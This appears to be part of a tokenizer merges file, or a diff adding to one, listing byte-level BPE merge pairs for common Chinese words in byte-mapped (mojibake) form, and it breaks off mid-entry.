+åĩº çĶŁ +éĿĴ æĺ¥ +人 群 +人 å·¥ +ä¹ĭ ä¸ĭ +æ¹ĸ åĮĹ +åľ¨ æŃ¤ +åįļ 士 +æĹ¶ åĪ» +æ²³ åĮĹ +æĶ¾ å¼ĥ +éĢļ éģĵ +森 æŀĹ +çĸ Ĩ +æķ ¸ +èĬ ³ +æīĵ åĩ» +æĽ ¹ +åĮĸ åѦ +æĥ³ 象 +ä¸ĩ 人 +è´¢ ç»ı +åħĥ ç´ł +ä¼ļ 计 +åħ¨ ä½ĵ +æĦ Ľ +é«ĺ ä¸Ń +æľº éģĩ +声 éŁ³ +æĹħ è¡Į +æµ © +æŁ ± +å°ij å¹´ +åĽ½ å¤ĸ +èijĹ åIJį +çĶŁ åŃĺ +å§ ľ +带 é¢Ĩ +é¢ľ èī² +ä¸Ĭ ä¸ĭ +产ä¸ļ éĵ¾ +æĽ´ 好çļĦ +å² Ń +ä¼ĺ æĥł +便 æĺ¯ +åħ§ 容 +ä¸Ģ åıª +çIJ ´ +梦 æĥ³ +ç§Ł èµģ +å¼Ģ åIJ¯ +è´Ń çī© +åĮħ åIJ« +åĪ© çİĩ +èµ· äºĨ +æľī åĬĽ +éĤ£ éĩĮ +审 æī¹ +对 æīĭ +çݰ éĩij +天 çĦ¶ +çĽ Ĵ +çĪ ½ +å¿ħ çĦ¶ +åĮĸ å·¥ +ä¸ĵ åĪ© +åķ ¡ +å¼Ģ å¿ĥ +人 ä½ĵ +éģĵ 士 +æĢģ 度 +空 è°ĥ +æĭĽ åķĨ +å§ » +第 äºĶ +æ£ Ĵ +ä¸Ģ ç³»åĪĹ +åį± æľº +转 åıĺ +åľº æīĢ +é¸ £ +æĪ¿ éĹ´ +éĢ ¼ +è¯ķ çĤ¹ +对 å¤ĸ +åĩº åı° +åľ¨ è¿Ļ +åİĤ å®¶ +å·¨ 大 +ç®Ģ ä»ĭ +çľĭ äºĨ +åħļ 建 +æĮĩ æĮ¥ +çŁ³ æ²¹ +ä¸į åı¯èĥ½ +èİ ² +ä¸į 太 +åĪĽ æĦı +第 ä¸Ģ个 +è´µ å·ŀ +è¿ĩ äºĨ +æľ¬ æĿ¥ +éģĵ å¾· +çŃĶ æ¡Ī +éĻ ¶ +ä¸Ģ è·¯ +èĤ ĸ +æ¸ħ æ´ģ +æľī æľº +åIJį åįķ +æĿ ± +åij¼ åIJ¸ +ä¸ Ī +ç¦ı 建 +è¯ķ éªĮ +å¼ķ åıij +ä¹Ł 没 +ä¸į ä½ı +çĨŁ æĤī +èIJ ¬ +ä¸į èī¯ +çł ĸ +èĩ´ åĬĽ +çѾ 订 +åIJ Ĭ +ä¾ ¯ +çĺ ¦ +å§ij å¨ĺ +æĸ ¤ +妻 åŃIJ +æĺ¥ èĬĤ +çĪ ¬ +æĽ Ŀ +çĥŃ æĥħ +éķ¿ æ²Ļ +èIJ¥ éĢł +éħ · +éĵ Ŀ +åŁºæľ¬ ä¸Ĭ +åij¨ åĽ´ +ä»Ģ 麼 +认 åı¯ +åĪĨ åŃIJ +ä¸Ģ æĸ¹éĿ¢ +è½ ´ +å¼ · +马 ä¸Ĭ +éĽ ¾ +èĩ £ +å° ¿ +çĶŁ æĦı +å®ī å¾½ +ç¥ŀ ç»ı +åĩº å¸Ń +èᝠåĵģ +çIJĨ çͱ +åįı åIJĮ +æµģ åĬ¨ +åıij åĬ¨ +åĿļ å®ļ +表 æĺİ +åIJİ éĿ¢ +ä¹ī åĬ¡ +å¦ ĸ +æľī åı¯èĥ½ +å¹´è½» 人 +大 éĻĨ +å² ³ +ä¸į èµ· +çŀ¬ éĹ´ +ä¸įå¾Ĺ ä¸į +çѾ 约 +åIJĪ æł¼ +åħļ æĶ¯éĥ¨ +æµİ åįĹ +便 åĪ© +éļı æĹ¶ +å¥ ī +ç§° 为 +产 æĿĥ +åIJ ķ +çĽ Ĩ +课 åłĤ +ç· ļ +æ£ ī +线 ä¸ĭ +èĩª è¡Į +举 æİª +åݦ éŨ +èĩª ä¿¡ +å½± è§Ĩ +ä» Ķ +çĶŁæ´» ä¸Ń +æĿĥ çĽĬ +çϽ èī² +å°± ä¸į +è¿Ľ å±ķ +æ¯ı æĹ¥ +ä¾Ľ ç»Ļ +æĿĥ åĪ© +æĹł æķ° +çIJĨ è´¢ +ä¾Ŀ æĹ§ +ä¸Ĭ åįĪ +è¯Ĩ åĪ« +çĽĪ åĪ© +çł Ĥ +许 åı¯ +åIJĮ äºĭ +åĺ Ľ +éģ ¸ +çĿĢ åĬĽ +éŨ åı£ +ä¸į å¤ļ +åħ¶ 次 +ç¢ § +çī© çIJĨ +åĨħ å¿ĥ +çϾ å§ĵ +æĢ» 绣 +å¹² åĩĢ +积 ç´¯ +åıį é¦Ī +æłij ç«ĭ +社 交 +ç§ © +åįģ ä¸Ģ +éĤ ĵ +驱 åĬ¨ +å±ķ è§Ī +èĪĴ éĢĤ +åŁº åĽł +å·® å¼Ĥ +转 让 +å°ı å§IJ +æł· åŃIJ +ç¿ Ķ +é«ĺ åħ´ +å½±åĵį åĬĽ +æīĭ ç»Ń +缸 åIJĮ +缸 åºĶ +æĻ Ĵ +è§ Ģ +å¸Ĥ å§Ķ +èĬ ¯ +å±ķ çݰ +åľ° çIJĥ +éĤ ª +ä¸Ģå®ļ çļĦ +åħģ 许 +ä¿¡ ä»» +æī ij +éĻ¢ æł¡ +ç®Ģ ç§° +åģļ æ³ķ +ä¹ĭ è·¯ +æĹĹ ä¸ĭ +èħ Ķ +æ¶Ī 失 +ä¸ĸçķĮ ä¸Ĭ +åŁİ 乡 +èĪŀ åı° +å¾Ī 大çļĦ +绣 çѹ +åħ¬ å¹³ +èĤ ¾ +çļĦ 好 +æ± ģ +çľ¼ åīį +éĽ £ +å¹ ½ +åħ± 产 +主 åĬŀ +å¤Ħ ç½ļ +åº Ļ +éģĵ çIJĨ +å¼ µ +æİ¥ çĿĢ +çĮ İ +çģ Į +çͱ æŃ¤ +人 åĬĽ +æµģ è¡Į +ä¾ ł +åı¯ä»¥ 说 +èĴ ĭ +å½¢ æĢģ +æĹ¥ åŃIJ +æ¼ Ĩ +çķĻ åѦ +缸 éĹľ +æľĢ å¤ļ +åĩŃ åĢŁ +åħ¬ 交 +æĮĸ æİĺ +æĿĤ å¿Ĺ +主 人 +éļľ ç¢į +æł¡ éķ¿ +æĸ¹ ä½į +ä¸Ĭ çıŃ +å¤ļ åħĥ +è ĥģ +éŃħ åĬĽ +èĮ Ĥ +åħħ ç͵ +强 大 +çĥ ¤ +å¥ĭ æĸĹ +å®ŀ ç͍ +éĺ ģ +ç»Ļ äºĨ +æľ¬ ç§ij +æł ĭ +æĭ ¨ +æķĻ ç»ĥ +éĥ½ çŁ¥éģĵ +æ¯ķä¸ļ çĶŁ +ç¢ Ĺ +åŀ Ĥ +è® ¼ +å®ģ æ³¢ +åѦ èĢħ +è°¢ è°¢ +åŁİ éķĩ +æĢİä¹Ī åĬŀ +éģ Ķ +æĪIJ 交 +æ½ľ åĬĽ +åį § +æĸ° å¼Ģ +éħį å¤ĩ +主 åĬĽ +åij³ éģĵ +çĥ Ĥ +é£ŀ è¡Į +å« ģ +大 大 +ç»Ļ 大家 +å¤ĸ éĿ¢ +éĨ ī +åıij è¨Ģ +æĹ© é¤IJ +åIJĦ èĩª +å® Ļ +èᣠèªī +æĬ« éľ² +é¡ ŀ +åĨħ çļĦ +èĤ ª +è¾ IJ +æ³ µ +æĬ Ľ +æĺŁ æľŁ +ä¸Ģ 带 +çĶŁ ç´ł +ç»ı éĶĢ +åĩ ¶ +åľ° ä¸Ĭ +åij½ è¿IJ +åĵ ² +ä¸Ĭ åİ» +æĸĩ çī© +è¯ ij +æĮ¯ åħ´ +éķ¿ æĹ¶éĹ´ +ç¥ Ń +åIJĪ èĤ¥ +è¿Ŀ è§Ħ +èģ ª +ä½İ äºİ +éĢĤ å½ĵ +æľī åºı +æľ¬ ç½ij +çķĻ è¨Ģ +æĥ³ æ³ķ +çѾ ç½² +å§ ļ +æĢ§ æł¼ +èĴĻ åı¤ +æŁ ı +åŀ « +åѦ åİĨ +ä»ħ ä»ħ +讲 è¯Ŀ +éĶ IJ +æĢ ĸ +åī ª +èĭ į +åIJ ĵ +强 çĥĪ +åģ¥ åħ¨ +çĸ ¯ +åı¤ 代 +å¥ Ī +ä¸į çĦ¶ +乡 éķĩ +æľĭåıĭ 们 +åĤ ħ +èģ ½ +个 æĢ§ +æ³ķ è§Ħ +å°ı éķĩ +çĶ» éĿ¢ +第 åħŃ +ç¶² è·¯ +åīį æĻ¯ +åIJ¬ 说 +ä¼ł åªĴ +æĿ¡ ä¾ĭ +åĪ« çļĦ +ä¸į æĩĤ +顾 éĹ® +强 度 +éĺ¿ éĩĮ +èµ° åĬ¿ +å¸ ½ +çļĦ ç¡® +åĮº åĪ« +éĮ ¢ +主 管 +ä¸Ģ çľĭ +æĸ ľ +åŃĺåľ¨ çļĦ +ä» ² +åᱠ害 +éĵ Ń +游æĪı ä¸Ń +éħ ± +é¾Ļ 头 +人 å¿ĥ +éĢĢ ä¼ij +æµı è§Ī +åĬ « +éĺ² æ²» +ç® Ń +å± Ī +è¾½ å®ģ +å£ ¤ +è¿İ æĿ¥ +éŀ į +ç͍ æĿ¥ +大 åľ° +ä» ° +éĢļ 讯 +å¼Ģ å·¥ +è£ ¤ +å¦Ĥ åIJĮ +éª ¤ +éĺŁ åijĺ +è½ © +ç¾İ æľ¯ +èĻ Ł +åIJĮ ä¸Ģ +åľ ĸ +书 æ³ķ +æīĵ åį° +åIJ« æľī +éĽĨ æĪIJ +éĹ · +å¸Ĥåľº ä¸Ĭ +æĹģ è¾¹ +åľ° æĿ¿ +产çĶŁ çļĦ +ç² ¤ +éĩį ç»Ħ +è¡Ģ æ¶² +çŃ ĭ +åĬŀ äºĭ +常è§ģ çļĦ +ä¸Ĭ åįĬå¹´ +å±ı å¹ķ +åIJī æŀĹ +å· © +åĸľ çα +ç¿ ł +ä¸ī ç§į +æ¡Ĩ æŀ¶ +举 èİŀ +çĶĺ èĤĥ +èĬ ¬ +åĽ¾ 书 +åĩ¤ åĩ° +æ°Ķ åĢĻ +å° ´ +å° ¬ +两 天 +è¾ħ 导 +åĢŁ 款 +æĹ¥ èµ· +æ´ Ĵ +ä¸Ģ 度 +è¹ Ī +æ½ Ń +æī ĩ +çĻ ľ +æĸ° åħ´ +åĤ ² +诸 å¤ļ +è´ ª +éĻ· åħ¥ +èĪ Ł +èĤº çĤİ +ä¸Ģ æł·çļĦ +åİ ĺ +åľ° çIJĨ +æĬķ æ³¨ +éļ Ĭ +åħī ä¼ı +ä¿Ŀ åģ¥ +åħ Ķ +åħ¬ åĬ¡ +æīĵ çł´ +çĶ· åŃ© +åĬ³ åĬ¡ +ä½ł ä¼ļ +ç͍ åľ° +æº ¢ +åıij è¾¾ +èĤ ļ +è¿ĩ äºİ +èĩ Ĥ +éĢĻ æ¨£ +è½» è½» +ä¸Ń åħ± +åIJĦ åĽ½ +åĶ ĩ +å®ŀ ä¹ł +èĻ ¾ +æ§ ½ +ä¸į ä¸Ĭ +åħį çĸ« +åįł æį® +å·¥ ä¼ļ +åĽ Ĭ +èĪª 天 +åı¯ çα +æĸĹ äºī +çĺ ¤ +å¦Ĥ æľī +éĽ ĸ +对 æĪij +åĩº ç§Ł +好 çľĭ +太 大 +æ°´ åĪ© +åĬ¿ åĬĽ +åħ¨ æ°ij +ç½ ¢ +èµ¢ å¾Ĺ +ç͵ ä¿¡ +车 éĹ´ +æĻĤ åĢĻ +å°ij æķ° +éĵ ¸ +åħ³ èģĶ +ä¸įä»ħ ä»ħ +为 æĤ¨ +åĴ ¸ +æľº åĬ¨ +è£ Ļ +åĵį åºĶ +éģ ł +è² · +ç© ´ +å¢ ħ +éĶ ¡ +çµ Ħ +çģ« è½¦ +è³ĩ è¨Ĭ +åĨ³ èµĽ +污 æ°´ +èª ŀ +å´ Ľ +ç´§ å¯Ĩ +缺 å°ij +å¤ļ 人 +æĢ» 书记 +éĶ Ī +èij Ľ +å¿ĺ è®° +éĻĮ çĶŁ +éķ¿ å¤§ +åħĪè¿Ľ çļĦ +ç¡ ħ +åıij æĺİ +å©´ åĦ¿ +æīİ å®ŀ +èĽĭ çϽ +ä¸Ģ çϾ +缮 åħī +æ ħĮ +åĬł æ²¹ +åIJ ŀ +ä¸Ģ 群 +ä¸Ń ä»ĭ +å¸ ĸ +å¿ Į +èģĮ èĥ½ +广 æĴŃ +çĽij å¯Ł +ç§ĺ å¯Ĩ +çĭ ® +è¿Ļ æĿ¡ +éĢ ¢ +æĢ ¨ +åįģ åħŃ +è© ¦ +说 åΰ +åĩĿ èģļ +æĮĩ 示 +æ° ¢ +å¼ ĺ +éĺ Ģ +æĸ © +éł ħ +ä¸Ģ å¼Ģå§ĭ +æİĴ è¡Į +åľ¨ æĪij +纪 å½ķ +æĬ Ħ +æł ª +说 æ³ķ +ä¸Ń èᝠ+好 å¤ļ +åıª ä¸įè¿ĩ +çķĻ åľ¨ +个 å°ıæĹ¶ +认 çŁ¥ +çķ « +è§ģ è¿ĩ +å°ı å¾® +ä½Ľ å±± +çľ ¾ +讲 è¿° +æ¢ ³ +ç§° åı· +æĹ¥ æĻļ +è¢ ĸ +åķ ¤ +æľª ç»ı +æľĢ æĹ© +æī® æ¼Ķ +è¡Ģ 管 +çº ± +æĥħ èĬĤ +第 ä¸ĥ +æį § +ä» Ĺ +æ¿Ģ çĥĪ +æĹł 线 +ä¸į 容æĺĵ +å¼Ģ å¹ķ +æĸ° çĶŁ +ä¸ĵ 注 +èij ± +åįĹ æµ· +çĩ Ł +èµ· ä¾Ĩ +æ´¾ åĩº +åĦ Ĵ +ä¾ ¨ +è¼ ĥ +åįļ è§Ī +éĢ ¾ +åĮ Ģ +ç»ıæµİ åѦ +æ¸ Ĺ +ä¿Ŀ èŃ· +çī º +çī ² +çİ « +çij ° +æľĢåIJİ ä¸Ģ +æĶ¿ åĬ¡ +æ§ Ľ +èĻķ çIJĨ +éļIJ æĤ£ +æī¿ åĮħ +æ¥ µ +æ¡ © +çĽ ² +导 åIJij +èĩ´ å¯Į +ç¼ Ĩ +æģĭ çα +ä¸į åĬ¨ +ç»Ļ 人 +å· ¢ +表 æĥħ +举 åįĹ +åĨħ å¤ĸ +è¾Ī åŃIJ +åı ī +åįļ ä¼ļ +åĬŁ æķĪ +æ¸ ´ +å± ¬ +æİĴ éϤ +éĢ Ľ +ä¸Ģ ä¼ļ +ä¸į å¼Ģ +å¼Ģ å¥ĸ +é»ij é¾Ļ +é»ijé¾Ļ æ±Ł +å¿« ä¸ī +度 åģĩ +åĿ ¤ +éĤ® ä»¶ +æĩ Ĵ +ä¾Ľ ç͵ +å» £ +好 è¯Ħ +ç§ĺ书 éķ¿ +æĪĺ åľº +好 å¥ĩ +ä¾µ æĿĥ +æĨ ¾ +æľĢ åĪĿ +æī¹ åıij +åİ ķ +è¼ ķ +æŀ ¯ +ä¸ļ åĨħ +è´Ń æĪ¿ +ä¸į åľ¨ +纪 å§Ķ +æīĢ éľĢ +å¸Ĥ éķ¿ +è³ ½ +å¼ķ æĵİ +çģµ éŃĤ +éĬ Ģ +æ» ¤ +çĿ IJ +å¤ļ 项 +åĽŀ 头 +èī ĺ +å¤į å·¥ +éĥ¨ ä»¶ +ç´§ ç´§ +æŁIJ ç§į +使 åħ¶ +æĸ° 人 +æŀ ļ +æ³ķ å®ļ +å·´ å·´ +æ¶µ çĽĸ +ç¨ » +æĭ ¾ +æĻ ķ +è½ ¿ +éĢļ è¡Į +åĵ Ģ +æ³ Ĭ +温 馨 +éĽĨ èģļ +çĨ Ļ +åĩ ij +åįģ ä¸ĥ +æ°Ķ æģ¯ +æıIJä¾Ľ çļĦ +æ³ ³ +奥 è¿IJ +çģ¾ å®³ +åĩĢ åĮĸ +è·¨ è¶Ĭ +åĵª æĢķ +éŁ ¿ +å¢ŀ æ·» +çĦ Ĭ +æ®ĭ çĸ¾ +ç¢ Į +æĤ Ķ +è§ģ è¯ģ +è¾ĸ åĮº +å¿ĥ èĦı +éļ § +åį ¸ +åı¯èĥ½ æĢ§ +æľī è¶£ +åī¯ ä¹¦è®° +åĮĸ å¦Ĩ +ä¿ Ĥ +æ£ ļ +éĨ ĩ +带 头 +éł Ī +追 ç©¶ +æij Ķ +è¿Ļ éĥ¨ +ä¸į 论 +ç¥ ¸ +å ³» +éģ ķ +çĶŁ èĤ² +å¤ ł +å¤ĸ 交 +è¯Ħ 为 +ä»İ å°ı +å°ı å°ı +é ¥¿ +æĴ ¼ +è·¨ å¢ĥ +被 åijĬ +åįĹ å®ģ +身 å¿ĥ +åĨį çĶŁ +æīĢ è¯´ +æĹ¶éĹ´ åĨħ +åĪĹ åħ¥ +éĿĴ æµ· +çα 好 +çª Ħ +èĪ Ī +è¿ĩ 渡 +æ¿ Ł +éĽ Ģ +审 è®® +åĽ½ èµĦ +æŃ¥ ä¼IJ +轨 éģĵ +ä¿¡ 念 +ä¸ī åĪĨ +çĨ ¬ +åѵ åĮĸ +ç¼ ł +éĥ Ĭ +èĪĴ æľį +纪 æ£Ģ +ä¸Ģä¸ĭ åŃIJ +鼻 話 +è² ł +éĴ ¥ +åĮ Ļ +çĹ ´ +è¶ ģ +ç» £ +çĪ µ +è½ ° +éª Ħ +å§ ¨ +æĭ ĺ +çĮ ´ +è® ¶ +è¿Ļ 座 +çį ¨ +æ·ĺ æ±° +çĹħ ä¾ĭ +æ²Ļ åıij +è§Ĩ 为 +头 æĿ¡ +å¿ħè¦ģ çļĦ +åı¯ è°ĵ +è¯Ŀ 说 +ç¯ Ħ +æĹ© çĤ¹ +æŀ¢ 纽 +ç¾ ¡ +çα åĽ½ +çªģ åıij +éĢ Ĭ +æ½ į +èᣠèĢĢ +èŁ ¹ +æ¦Ĥ çİĩ +å¾Ī ä¹ħ +æĥ ķ +è¨ ´ +åľĨ 满 +çļ ± +åĪĨ æ³Į +åħħ è¶³ +çľĭ æ³ķ +è¾ Ł +æĭ ¦ +æĭ © +对 åºĶ +为 æł¸å¿ĥ +èħ Ĭ +å¤ļ ä¹Ī +æµ ij +å®ı è§Ĥ +èĦ ĸ +åIJĪ èµĦ +çĶŁ 涯 +å®ŀ è´¨ +ä¼ĺ çĤ¹ +ç͍ æ°´ +寿 åij½ +æ² « +åIJ ģ +è© ¹ +åĽ½ éĺ² +å´ © +åĿ İ +èĨ ı +ä¸Ģ è½® +éģĹ äº§ +æ¹¾ åĮº +ç» İ +åįķ 纯 +æ¾ Ħ +åīį åĪĹ +身 å½± +é»ĺ é»ĺ +æį ī +çĴ ° +èı Ĭ +æĢ ľ +åħĭ æĢĿ +æĢ» å±Ģ +çĩĥ æĸĻ +ä¸ļ æĢģ +åIJĦ æł· +åĴ ½ +åĩº èī² +åĪĿ å¿ĥ +åı Ľ +çłĶ 讨 +è¡ « +åİĨ ç¨ĭ +ç¦ ½ +è¶³å¤Ł çļĦ +èį Ĩ +çľĭ å¾ħ +è´ © +åĨ³ å¿ĥ +è£ ¹ +å¸Ī èĮĥ +åŀ Ħ +æĿ ł +åĩ ¸ +çĬ¹ 豫 +çĥŃ è¡Ģ +åIJĪ ä¼Ļ +éħ µ +èIJ½ åľ¨ +åįł åľ° +è¡ ¬ +èĵ ī +æĦ ¤ +æ¸ Ĭ +åĪĨ æķ° +ç¬ij çĿĢ +太 å¹³ +çĤ « +æİ¨ ä»ĭ +æĸ¯ åĿ¦ +å½¢ 容 +æĵ Ĭ +æĦŁ åħ´è¶£ +åĨĽ 人 +åĩĮ æĻ¨ +对 çħ§ +åıij çĹħ +å· ¾ +èĪ ī +æª ¢ +ç¬ij äºĨ +ç¡® è¯Ĭ +è´Ł åĢº +壮 大 +æĪ ļ +äºĴ èģĶ +èª ² +èħ ¦ +æĹ ± +åıĹ æ¬¢è¿İ +åį ī +éĻ¢ 士 +æ© ¡ +ä¸Ģ 对 +è¾ ± +æ² Ĥ +åı² ä¸Ĭ +æIJ ı +å´ ĸ +代 è°¢ +ç£ · +é¡ ĺ +æµ ĩ +常 ç͍ +åį ij +åĩº åĽ½ +è¯ ł +稳 æŃ¥ +ç»ı 纪 +å¤ļ å¤ļ +æīĢ å¾Ĺ +为 主é¢ĺ +ä¸Ģ åĪĨ +æł ½ +é¡ § +çº ² +åĥ ħ +å£ ĵ +åĦ ª +ç¿ ° +æİ Ģ +人 为 +åª ³ +æ´ ½ +èĿ ¶ +å¤į åħ´ +ä¼ļ å½±åĵį +åIJĦ çķĮ +éĤ£ ä¸Ģ +é¢ ¤ +çĢ ı +çĢı 覽 +å¯ ŀ +åı¯ æĢķ +åį³ æĹ¶ +çķ ´ +ä¸ĭ åįĬå¹´ +ç¬Ķ è®° +éĻĦ åĬł +çĥŃ æ°´ +å¥ ¸ +ç£ ħ +æĿ ī +æ¸ħ åįİ +éĸ ± +ç° ¡ +å¤Ħ å¤Ħ +åIJĪ éĩij +æ²³ æµģ +ç´ ° +è´Ł éĿ¢ +çļĦ 羣å®ŀ +åύ 械 +èĴ IJ +西 äºļ +å· ħ +ç² ¹ +åİŁ æĸĩ +æŀ ķ +è¡Ģ åİĭ +åļ ´ +å¸ ĺ +åĨ Ģ +æĮ « +ç͵ è·¯ +å°ı ä¼Ļä¼´ +èĿ ´ +æľĢ å¿« +æĭ Į +å® ª +æĸ · +ç¿ ħ +åĴ ³ +åĹ ½ +ç¾ ŀ +躺 åľ¨ +èµĽ 车 +æ² IJ +éĻIJ 度 +为 ä¸Ģä½ĵ +èĴ ľ +å¹ « +æIJ ħ +åĭ ĭ +åī ĸ +纳 ç¨İ +éķ¿ æķĪ +ç½ ķ +åī¯ æľ¬ +ç© į +éĴ © +ç¹ ¼ +åĽ½ åľŁ +è¼ ī +ä¸į å¿ĺ +èѦ 示 +çģ ¿ +å¿ĥ å¾Ĺ +æĦ ļ +忽 çķ¥ +åĽŀ äºĭ +åįł æľī +æ· Ħ +çī ¡ +çĽij äºĭ +ç¿ ¡ +éĴĪ对 æĢ§ +çª ĥ +è£ ½ +èĨ Ŀ +ç³ Ł +港 æ¾³ +太 太 +æ¾ ¡ +ç»Ĩ åĮĸ +åĶ® åIJİ +å®ŀåľ¨ æĺ¯ +ç« £ +çį ² +å̾ åIJij +å¼ķ ç͍ +é¹ ħ +ç¬ij 容 +ä¹IJ è¶£ +æ°ij æĶ¿ +éŨ æĪ· +å± ģ +è¿· 失 +éĶ Į +å°ı 康 +åĭ ī +æ³ ¼ +ä¾ĭ åŃIJ +ä¸ī ä½į +å» ł +èĶ ĵ +广 éĺĶ +èĢ į +èĢģ èĻİ +åĭŁ éĽĨ +èĦļ æŃ¥ +æĭ ¯ +åŃĹ åı· +çĦ ° +é¢ ł +èļ Ĥ +èļ ģ +é£ ¯ +人 æĢ§ +æĴ ° +åİ ¢ +å±Ģ éĻIJ +æľª æĪIJ +åĵª åĦ¿ +大 åıij +ä¸į å®ļ +å¾ģ æ±Ĥ +éĥ µ +åĢº æĿĥ +çα ä½ł +èº ģ +ä»ħ ä¾Ľ +è¿ľ å¤Ħ +éĨ Ľ +åĥ µ +积æŀģ æĢ§ +æİ ¡ +åīį ä¸ī +äºİ ä¸Ģä½ĵ +çŀ Ħ +çĿ ģ +æ² ¸ +åħ± èµ¢ +éĢĢ å½¹ +è´Ŀ å°Ķ +æİ ı +æĪ ² +è¡ į +éĶ Ĥ +ä¸ĩ ä½Ļ +ç§ij åĪĽ +æ¼Ķ åͱ +欧 åħĥ +æ·¡ æ·¡ +éĿĴ å±± +èĹ Ŀ +ç» ½ +令 çīĮ +éĽĨ 群 +ä½ľ çī© +çĢ ij +å¤ ¯ +ç½ij 游 +åħ« 大 +éª ļ +èª ĵ +ä¼ļ å±ķ +åħļ åı² +æ£Ģå¯Ł éĻ¢ +åĸ ĺ +éĺ ± +èĢĮ åĩº +éĢļ 车 +éĴ ĵ +æĥħ 人 +æ¸ Ľ +ä¸Ń ç§ĭ +çĪ Ń +åıª åī© +æĺ Ķ +éĩİ çĶŁ +ç¡ « +èIJĿ åįľ +æĬµ æĬĹ +çĻ« çĹ« +éĻ Ģ +èĶ ļ +å¸ ľ +满 满 +èı ± +éļĨ éĩį +æĺŁ çº§ +æ½ ĩ +åħ¬ åħĥ +è° £ +æ¯Ķ äºļ +æ¡Į åŃIJ +èµ £ +è² ¼ +æĦ¿ æľĽ +é¡ ½ +æ´¾ éģ£ +ç¥ Ľ +åª ļ +éĺ ľ +èij « +èĬ ¦ +æ³ » +å¡ Į +çĭ Ń +å»ī æĶ¿ +å¥ij æľº +æĹĹ èΰ +æĥ « +严 åİī +åıĭ æĥħ +å¦ Ĭ +å¨ ł +åĵª å®¶ +èĨ ¨ +è¶ Ł +æĮ ª +èĻ IJ +é łģ +çŀ © +éº Ł +ç¨ £ +èģĶ éĢļ +åı ® +çİĭ èĢħ +ä¸į ç¡®å®ļ +ç ijľ +è° İ +çī¢ è®° +ç¢ ¼ +æĬ¤ èĤ¤ +é¡ · +çĦ ķ +åģļ 强 +éļ± ç§ģ +éļ±ç§ģ æ¬Ĭ +åıĹ å®³ +ä¸į çͱ +çĥ ¹ +é¥ ª +é© ³ +ä¼ ½ +ä¸Ŀ 绸 +è¥ Ħ +åįģ ä½Ļ +éº Ĺ +æ¬Ĭ åĪ© +èģ ŀ +åı¤ èĢģ +éģ ı +åIJĦ å¼ı +å°± è¡Į +åħ¥ å¢ĥ +ç ĥģ +èľ ĺ +èĽ Ľ +çº ¬ +çŁ « +è» Ł +æ´Ĺ è¡£ +æĦ § +é¢Ħ æ¡Ī +éľ Ĩ +æ·± åİļ +éĺ¿ æĭī +åĨĻ åŃĹ +åį ¦ +éķ Ģ +模 æł· +åĤ į +æIJ į +èĸ ¯ +åł ħ +åħ¬ 积 +è¨ İ +ä¼ł æŁĵ +æ¯ ¯ +çIJĨ å·¥ +åĨ· éĵ¾ +ç«ĭ æĸ¹ +æ¢ Ń +åľ£ è¯ŀ +综 èīº +çİ© ç¬ij +æĥ³ ä¸įåΰ +æijĩ 头 +æ· ¹ +åģĩ æĹ¥ +åĢ ĺ +èĢ ½ +èİ ĵ +åŁ · +èĩª è´¸ +åįĬ 天 +æª Ķ +æ¾İ æ¹ĥ +éķ ij +ä¸ « +éĩĮ ç¨ĭ +å¼Ģ èįĴ +èı ı +å®Ŀ è´µ +èŃ ¬ +åķ Ł +æŁ ł +æª ¬ +é© Ń +æ± Ľ +çĨĬ çĮ« +èķ ī +éļı ä¹ĭ +å± ij +è¾ĥ 强 +èĥ ³ +èĨ Ĭ +éĿĻ éĿĻ +åĴ ª +æĭĽ åij¼ +代 è¨Ģ +ä¿¡ ç®± +è£ħ éħį +æĤ į +åįķ 车 +èIJ İ +å¤ļ 彩 +éĻ ¸ +ä»İ 严 +æ© Ħ +æ¦ Ħ +éĢ ® +éĩĮ æĸ¯ +å§¿ æĢģ +太 æŀģ +éĩ Ŀ +æº ī +è¿ Ń +ç§ ¸ +ç§ Ĩ +å·¥ å§Ķ +æ± ķ +èģ Ĩ +ä½ ¬ +ç¼ ħ +çĶ ¸ +åī¯ å±Ģéķ¿ +éĹ º +èª ¤ +è¤ IJ +ä¸į éĻIJ +èħ ķ +åij ķ +çŁ ¶ +åĨľ å®¶ +管 å§Ķä¼ļ +é¥ º +èĬ ľ +æ¾ Ī +è© ¢ +å¨ģ å°¼æĸ¯ +ä½ķ åĨµ +å°ı ä¼Ļ +奢 ä¾Ī +è¿Ļ ç¯ĩ +è¯ µ +竳 ç¨ĭ +ç´ Ģ +éIJ ĺ +éĤ ¢ +ç³ Ļ +ç¼ Ģ +ä¹ Ĵ +ä¹ ĵ +çī¢ åĽº +åĿ ŀ +å¼ Ī +ä¾ĭ å¤ĸ +å» ³ +è§Ħ 竳 +èĬ Ļ +ç¯ · +èº ¯ +æł Ī +åĿļ å®ŀ +åŁº 建 +çĿĢ çľ¼ +ç· ´ +èij © +ç¼ ļ +æ¦ Ĩ +主 åĭķ +ç¥ Ģ +äºĴ éĢļ +å°¤ 为 +å® Ľ +éª ¼ +æ± ² +ä¾ ĥ +æĤł ä¹ħ +æij § +æĭ ĩ +é« ĵ +éº Ĵ +éĻ Ľ +æŀ ¸ +æĿ ŀ +è´ ¬ +å°ı é¾Ļ +åĵ ® +èĵ¬ åĭĥ +åĮ Ī +çķľ çī§ +å¨ © +个 å¤ļ +æ² ¥ +æĺ § +çĦ ļ +æĬij éĥģ +çĸ ¡ +èĺ ij +éģİ ç¨ĭ +æ© ± +éĿ ĵ +大 çIJĨ +é« ¦ +åĪĨ 辨 +æ¸ ¤ +çĸ ¤ +åĬ¨ èĥ½ +å¼ł å®¶ +ä¸ĩ åįĥ +æ» ¥ +é¥ ¥ +åºŁ å¼ĥ +å¸ ³ +æ¼ ³ +è± IJ +ä» ij +å« ī +å¦ Ĵ +çŀ Ĵ +è¡ ħ +çĭ ¸ +å¾ģ ç¨ĭ +éĤ ¯ +éĥ ¸ +ç¥ Ī +ç¥ · +è¶ ´ +ç»ĵæŀĦ æĢ§ +è§Ĩ åIJ¬ +è¬ Ŀ +çĴ Ģ +çĴ ¨ +åĩº å¤Ħ +è¯ Ģ +å¾ ĺ +å¾ Ĭ +çľ ¨ +åĸ ĩ +åı Ń +åĺ ² +çķ ¸ +å¹² äºĭ +æļ § +æ² Ľ +åĦ Ħ +å» ĵ +åİ¿ éķ¿ +èĥ ļ +çIJ ¢ +çŃ · +éĩ ĭ +ä¾ ® +åIJ © +åĴ IJ +åĮ ¿ +æĬ¬ èµ· +æ³ £ +æ¶ ¤ +éº ½ +æĽ Ļ +åī¯ éĻ¢éķ¿ +åħļ åĴĮ +æķ£ åıij +润 æ»ij +åĵ º +æĥ ¬ +漫 éķ¿ +ä¸į 